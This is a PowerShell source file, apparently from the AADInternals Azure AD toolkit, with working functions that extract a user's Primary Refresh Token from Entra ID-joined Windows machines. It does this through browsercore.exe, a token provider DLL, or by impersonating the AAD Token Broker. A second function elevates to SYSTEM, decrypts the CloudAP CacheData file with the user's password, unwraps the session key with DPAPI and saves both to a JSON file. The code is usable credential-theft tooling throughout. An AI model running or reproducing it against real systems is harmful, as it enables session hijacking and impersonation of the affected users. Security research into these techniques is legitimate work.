PRT.ps1
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# This file contains functions for Persistent Refresh Token and related device operations # Get the PRT token from the current user # Aug 19th 2020 # Sep 25th 2024 Added support for CloudAP function Get-UserPRTToken { <# .SYNOPSIS Gets user's PRT token from the Azure AD joined or Hybrid joined computer. .DESCRIPTION Gets user's PRT token from the Azure AD joined or Hybrid joined computer. Uses browsercore.exe, Token Provider DLL, or CloudAP to get the PRT token. .Parameter Method Method to use to retrieve the user's PRT token. "BrowserCore" for browsercore.exe, "TokenProvider" for Token Provider DLL, or "CloudAP" for impersonating AAD Token Broker .EXAMPLE PS C:\> Get-AADIntUserPRTToken eyJ4NWMiOi... #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [ValidateSet('BrowserCore','TokenProvider','CloudAP')] [String]$Method="BrowserCore" ) Process { # Get the nonce $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge" $nonce = $response.Nonce if($Method -eq "BrowserCore") { # There are two possible locations $locations = @( "$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe" "$($env:windir)\BrowserCore\browsercore.exe" ) # Check the locations foreach($file in $locations) { if(Test-Path $file) { $browserCore = $file } } if(!$browserCore) { throw "Browsercore not found!" } # Create the process $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = $browserCore $p.StartInfo.UseShellExecute = $false $p.StartInfo.RedirectStandardInput = $true $p.StartInfo.RedirectStandardOutput = $true $p.StartInfo.CreateNoWindow = $true # Create the message body $body = @" { "method":"GetCookies", "uri":"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce", "sender":"https://login.microsoftonline.com" } "@ # Start the process $p.Start() | Out-Null $stdin = $p.StandardInput $stdout = $p.StandardOutput # Write the input $stdin.BaseStream.Write([bitconverter]::GetBytes($body.Length),0,4) $stdin.Write($body) $stdin.Close() # Read the output $response="" while(!$stdout.EndOfStream) { $response += $stdout.ReadLine() } Write-Debug "RESPONSE: $response" $p.WaitForExit() # Strip the stuff from the beginning of the line $response = $response.Substring($response.IndexOf("{")) | ConvertFrom-Json # Check for error if($response.status -eq "Fail") { Throw "Error getting PRT: $($response.code). $($response.description)" } # Get the index of the x-ms-RefreshTokenCredential data or throw error $token_index = $response.response.name.IndexOf("x-ms-RefreshTokenCredential") if($token_index -lt 0) { throw "Could not find the x-ms-RefreshTokenCredential cookie in response" } # Return the data for x-ms-RefreshTokenCredential $tokens = $response.response[$token_index].data return $tokens } elseif($Method -eq "TokenProvider") { $tokens = [AADInternals.Native]::getCookieInfoForUri("https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=$nonce") if($tokens.Count) { Write-Verbose "Found $($tokens.Count) token(s)." # Get the index of the x-ms-RefreshTokenCredential data or throw error $token_index = $tokens.name.IndexOf("x-ms-RefreshTokenCredential") if($token_index -lt 0) { throw "Could not find the x-ms-RefreshTokenCredential cookie in response" } # Return the data for x-ms-RefreshTokenCredential $token = $tokens[$token_index]["data"] return $token.Split(";")[0] } else { Throw "Error getting tokens." } } else # Get token from CloudAP by impersonating AAD TokenBroker { return [AADInternals.Native]::RequestSSOCookie($nonce) } } } # Get logged in user's PRT and Session key from CloudAP CacheData # Jun 2nd 2023 function Get-UserPRTKeysFromCloudAP { <# .SYNOPSIS Extracts the session key and primary refresh token from CloudAP cache and saves them to json file. .DESCRIPTION Extracts the session key and primary refresh token from CloudAP cache and saves them to json file. .Parameter Username The username of the user .Parameter Password The password of the user. .Parameter Credentials Credentials of the user. .Example PS C\:>$creds = Get-Credential PS C\:>$prtKeys = Get-AADIntUserPRTKeysFromCloudAP -Credentials $creds Keys saved to 31abceff-a84c-4f3b-9461-582435d7d448.json PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys #> [CmdletBinding()] param( [Parameter(ParameterSetName='Credentials',Mandatory=$True)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='SystemPassword',Mandatory=$true)] [string]$HexPassword, [Parameter(ParameterSetName='Password',Mandatory=$true)] [string]$Password, [Parameter(ParameterSetName='Password',Mandatory=$true)] [Parameter(ParameterSetName='SystemPassword',Mandatory=$true)] [string]$Username ) Begin { $WAM_AAD = "B16898C6-A148-4967-9171-64D755DA8520" $WAM_MSA = "D7F9888F-E3FC-49b0-9EA6-A85B5F392A4F" } Process { # Check whether we are running in elevated session Test-LocalAdministrator -Throw | Out-Null if($Credentials) { $Username = $Credentials.UserName $Password = $Credentials.GetNetworkCredential().Password } # Elevate to LOCAL SYSTEM if((Get-CurrentUser) -ne "NT AUTHORITY\SYSTEM") { $cmdToRun = "Set-Location '$PSScriptRoot';. '.\Win32Ntv.ps1';. '.\CommonUtils.ps1';. '.\CommonUtils_endpoints.ps1';. '.\PRT_Utils.ps1';. '.\PRT.ps1'; Get-UserPRTKeysFromCloudAP -Username $Username -Password $password" if($HexPassword) { $cmdToRun += " -HexPassword $HexPassword" } try { $prtKeysJson = Invoke-ScriptAs -Command $cmdToRun -Credentials $ADSyncCredentials.Credentials Write-Verbose "Invoke-ScriptAs response: $prtKeysJson" $prtKeys = ConvertFrom-Json -InputObject $prtKeysJson } catch { throw "Unable to get PRT token and session key" } } else { # Find the user from registry $name2SidPath = "HKLM:\SOFTWARE\Microsoft\IdentityStore\LogonCache\$WAM_AAD\Name2Sid\" $name2SidKey = Get-Item -Path $name2SidPath -ErrorAction SilentlyContinue if($name2SidKey) { $users = $name2SidKey.GetSubKeyNames() } if($users -eq $null) { Throw "No users found from CacheData" } foreach($user in $users) { if((Get-ItemPropertyValue -Path "$name2SidPath$user" -Name IdentityName) -eq $username) { # We found the user from registry. Get the cachedir from the key name. $cacheDir = (Get-Item -Path "$name2SidPath$user").PSChildName Write-Verbose "Cachedir: $cacheDir" # Create the cache data file path $cacheDataFile = "$env:SystemRoot\system32\config\systemprofile\AppData\local\microsoft\windows\CloudAPCache\AzureAD\$cacheDir\Cache\CacheData" break } } if([string]::IsNullOrEmpty($cacheDataFile)) { Throw "CacheData not found for user $Username" } $CacheData = Get-BinaryContent -Path $cacheDataFile # Parse CacheData $cacheNodes = Parse-CloudAPCacheData -Data $CacheData $defaultIV = @(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) foreach($node in $cacheNodes) { switch($node.Type) { # Ref: https://github.com/synacktiv/CacheData_decrypt/blob/main/scripts/parse_cachedata.py 1 # Password { if($HexPassword) { $systemPassword = Convert-HexToByteArray -HexString $HexPassword # Derive the key from the given "system" password $derivedKey = [AADInternals.Native]::getPBKDF2($systemPassword) Write-Verbose "Derived key: $(Convert-ByteArrayToHex -Bytes $derivedKey)" # Decrypt the secret using derived key $aes = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider $aes.Key = $derivedKey $aes.IV = $defaultIV $dc = $aes.CreateDecryptor() $secret = $dc.TransformFinalBlock($node.CryptoBlob,0,$node.CryptoBlobSize) } else { # The secret is actually derived from the user's password, so we can use that (if known) $secret = [AADInternals.Native]::getPBKDF2([text.encoding]::Unicode.GetBytes($Password)) } Write-Verbose "Secret: $(Convert-ByteArrayToHex -Bytes $secret)" # Decrypt the data blob with the secret $aes = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider $aes.Key = $secret $aes.IV = $defaultIV $dc = $aes.CreateDecryptor() $dataBlob = $dc.TransformFinalBlock($node.EncryptedBlob,0,$node.EncryptedBlobSize) break } 4 # Smart Card { break } 5 # PIN { break } } # Return the first found blob if($dataBlob) { # Parse the data blob $prtBytes = Parse-CloudAPEncryptedBlob -Data $dataBlob $prt = [text.encoding]::UTF8.GetString($prtBytes) | ConvertFrom-Json # Decode PRT $prt | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue (Convert-B64ToText -B64 $prt.prt) # Decrypt POP Key (Session Key) using DPAPI $prt | Add-Member -NotePropertyName "session_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes (Unprotect-POPKeyBlob -Data (Convert-B64ToByteArray -B64 $prt.ProofOfPossesionKey.KeyValue))) return $prt | ConvertTo-Json } } } # Write to file $outFileName = "$($prtKeys.deviceId).json" $prtKeys | ConvertTo-Json | Set-Content $outFileName -Encoding UTF8 Write-Host "Keys saved to $outFileName" return $prtKeys } } |